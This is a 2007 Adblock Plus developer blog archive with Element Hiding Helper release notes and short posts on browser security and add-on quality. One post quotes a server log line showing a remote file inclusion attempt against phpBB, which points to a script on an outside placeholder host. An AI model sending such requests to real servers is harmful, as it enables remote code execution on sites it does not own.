Adblock Plus and (a little) more

Element Hiding Helper: Release candidate · 2007-01-18 01:47 by Wladimir Palant

This is a release candidate for Element Hiding Helper 1.0, first localizations should be available soon.

Changes

Added options “first child” and “last child” to list of attributes
Added extensions. adblockplus. ehh. showhelp preference to allow disabling automatic help tooltip (pressing H still brings it up when this option is set to false)
Added warning if Element Hiding Helper is installed but Adblock Plus is not there or version is older than 0.7.2.3 (Firefox 2.0 and higher checks dependencies automatically)

Known issues

~~Upper case letters aren’t accepted as hotkeys when selecting an element~~

Running a web server is dangerous · 2007-01-17 15:57 by Wladimir Palant

I guess some of you run a web server. Maybe you have noticed entries like this one in your logs:

"GET /forum/admin/admin_styles.php?phpbb_root_path=http://some.server.name/0wn/mail.txt?%5d\r HTTP/1.1" 302 5 "-" "-"

Happy Birthday Adblock Plus! · 2007-01-17 07:00 by Wladimir Palant

Do you remember? The very first Adblock Plus 0.6 came out one year ago (at least if you don’t count mcm’s Adblock Plus which was a very different extension). Since then we had 18 releases and almost three million downloads on addons.mozilla.org. The support forum currently counts 249 members (mind you, registration is not mandatory) and over 1000 threads with almost 9000 posts. Altogether this site had over 1 million visits in the 7 months that it existed. That’s some numbers one doesn’t need to be ashamed of.

Fighting ad blockers - the Microsoft style · 2007-01-16 20:05 by Wladimir Palant

I received a mail from a confused user. She wasn’t able to log into her Hotmail account so she mailed Windows Live support. And the support folks over at Microsoft didn’t need any additional information to find the reason: “it appears that your Firefox browser settings are not optimized”. Now, how does one optimize the browser settings according to Microsoft?

Element Hiding Helper: Almost done · 2007-01-16 00:50 by Wladimir Palant

A new development build of the Element Hiding Helper extension (0.9+.2007011523) has been uploaded.

Changes

The part of the attribute that should be used can now be specified

Known issues

~~Element selection in frames doesn’t work~~
~~Splitter is broken when switching from basic to advanced view the first time~~
~~Doesn’t work in Thunderbird/Mozilla Mail yet~~
~~“null has no properties” error in the console when opening composer window (bug 367009)~~
~~No domain suggestions in basic mode~~
Preview feature doesn’t work in Thunderbird/Mozilla Mail

Speaking of IE security... · 2007-01-12 14:49 by Wladimir Palant

I recently linked to an article stating that users of Internet Explorer have been exposed to known critical vulnerabilities for 284 days last year. That sounds bad enough but unfortunately it is not all.

AMO moving into the right direction · 2007-01-12 02:21 by Wladimir Palant

Thanks to morgamic for telling me this, I probably wouldn’t have noticed otherwise — Addons.Mozilla.Org has made a first move towards raising the quality bar. The autogenerated spyware-infested Conduit-based toolbars have been disabled, all 93 of them. Any new submissions will be automatically rejected. Way to go, AMO!

Hit counts for element hiding: coming · 2007-01-11 15:43 by Wladimir Palant

Recently I wrote about a solution I came up with to provide hit counts for element hiding. However, it uses XBL with the consequence that it would not work when JavaScript is disable and it would probably also slow down browsing. And only today I found the solution that should be obvious, without the disadvantages.

Element Hiding Helper: Preview feature done · 2007-01-11 01:34 by Wladimir Palant

A new development build of the Element Hiding Helper extension (0.9+.2007011100) has been uploaded.

Changes

Added preview checkbox to apply current filter on the document
Filter rule is applied immediately when it is added
Better translation of id and class attribute rules into raw CSS

Known issues

~~Advanced mode: Rows of nodes used in the expression are highlighted with a small but visible delay~~
~~Wrong tree row selected when switching to advanced mode and some branches are collapsed~~
Frame around inline elements broken into multiple lines has wrong position/size
“null has no properties” error in the console when opening composer window (bug 367009)
No domain suggestions in basic mode

Element Hiding Helper: View source command implemented · 2007-01-09 21:35 by Wladimir Palant

A new development build of the Element Hiding Helper extension (0.9+.2007010920) has been uploaded.

Changes

The commands “view source” and “view source in separate window” are now available when selecting an element
Advanced mode: Tree columns id and class now hidden by default to save space

Known issues

~~Non-standard characters in attribute names are not escaped~~
~~Empty attributes cannot be selected~~
~~Sometimes selection’s label itself is selected~~
~~Port number is not removed from the suggested domain name~~
~~Element selection should not start on file:// URLs (element hiding cannot be applied to those)~~
View source tooltip’s position/size is influenced by other tooltips
Wrong tree row selected when switching to advanced mode and some branches are collapsed